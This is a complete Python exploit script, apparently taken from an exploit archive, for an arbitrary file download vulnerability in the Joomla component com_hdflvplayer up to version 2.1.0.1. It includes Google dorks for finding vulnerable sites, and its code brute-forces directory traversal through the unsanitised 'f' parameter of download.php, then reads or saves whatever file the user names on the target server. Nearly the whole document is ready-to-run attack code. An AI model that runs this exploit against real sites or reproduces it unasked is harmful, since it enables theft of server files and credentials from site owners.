Joomla! Component com_hdflvplayer < 2.1.0.1 - Arbitrary File Download
#!/usr/bin/env python # # Exploit Title : Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability # # Exploit Author : Claudio Viviani # # Vendor Homepage : http://www.hdflvplayer.net/ # # Software Link : http://www.hdflvplayer.net/download_count.php?pid=5 # # Dork google 1: inurl:/component/hdflvplayer/ # Dork google 2: inurl:com_hdflvplayer # # Date : 2014-11-11 # # Tested on : BackBox 3.x/4.x # # Info: # Url: http://target/components/com_hdflvplayer/hdflvplayer/download.php?f= # The variable "f" is not sanitized. # Over 80.000 downloads (statistic reported on official site) # # # Video Demo: http://youtu.be/QvBTKFLBQ20 # # # Http connection import urllib, urllib2 # String manipulation import re # Time management import time # Args management import optparse # Error management import sys banner = """ _______ __ ___ ___ ______ | _ .-----.-----.--------| .---.-. | Y | _ \\ |___| | _ | _ | | | _ | |. 1 |. | \\ |. | |_____|_____|__|__|__|__|___._| |. _ |. | \\ |: 1 | |: | |: 1 / |::.. . | |::.|:. |::.. . / `-------' `--- ---`------' _______ ___ ___ ___ _______ __ | _ | | | Y | | _ | .---.-.--.--.-----.----. |. 1___|. | |. | | |. 1 | | _ | | | -__| _| |. __) |. |___|. | | |. ____|__|___._|___ |_____|__| |: | |: 1 |: 1 | |: | |_____| |::.| |::.. . |\:.. ./ |::.| `---' `-------' `---' `---' <= 2.1.0.1 4rb1tr4ry F1l3 D0wnl04d Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url def checkcomponent(url,headers): try: req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php', None, headers) sys.stdout.write("\r[+] Searching HD FLV Extension...: FOUND") print("") except urllib2.HTTPError: sys.stdout.write("\r[+] Searching HD FLV Extension...: Not FOUND :(") sys.exit(1) except urllib2.URLError: print '[X] Connection Error' def checkversion(url,headers): try: req = urllib2.Request(url+'/modules/mod_hdflvplayer/mod_hdflvplayer.xml', None, headers) response = urllib2.urlopen(req).readlines() for line_version in response: if not line_version.find("<version>") == -1: VER = re.compile('>(.*?)<').search(line_version).group(1) sys.stdout.write("\r[+] Checking Version: "+str(VER)) print("") except urllib2.HTTPError: sys.stdout.write("\r[+] Checking Version: Unknown") except urllib2.URLError: print("\n[X] Connection Error") sys.exit(1) def connection(url,headers,pathtrav): char = "../" bar = "#" s = "" barcount = "" for a in range(1,20): s += char barcount += bar sys.stdout.write("\r[+] Exploiting...please wait: "+barcount) sys.stdout.flush() try: req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php?f='+s+pathtrav, None, headers) response = urllib2.urlopen(req) content = response.read() if content != "" and not "failed to open stream" in content: print("\n[!] VULNERABLE") print("[*] 3v1l Url: "+url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav) print("") print("[+] Do you want [D]ownload or [R]ead the file?") print("[+]") sys.stdout.write("\r[+] Please respond with 'D' or 'R': ") download = set(['d']) read = set(['r']) while True: choice = raw_input().lower() if choice in download: filedown = pathtrav.split('/')[-1] urllib.urlretrieve (url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav, filedown) print("[!] DOWNLOADED!") print("[!] Check file: "+filedown) return True elif choice in read: print("") print content return True else: sys.stdout.write("\r[X] Please respond with 'D' or 'R': ") except urllib2.HTTPError: #print '[X] HTTP Error' pass except urllib2.URLError: print '\n[X] Connection Error' time.sleep(1) print("\n[X] File not found or fixed component :(") commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) commandList.add_option('-f', '--file', action="store", help="Insert file to check", ) options, remainder = commandList.parse_args() # Check args if not options.target or not options.file: print(banner) commandList.print_help() sys.exit(1) print(banner) url = checkurl(options.target) pathtrav = options.file headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'} sys.stdout.write("\r[+] Searching HD FLV Extension...: ") checkcomponent(url,headers) sys.stdout.write("\r[+] Checking Version: ") checkversion(url,headers) sys.stdout.write("\r[+] Exploiting...please wait:") connection(url,headers,pathtrav) |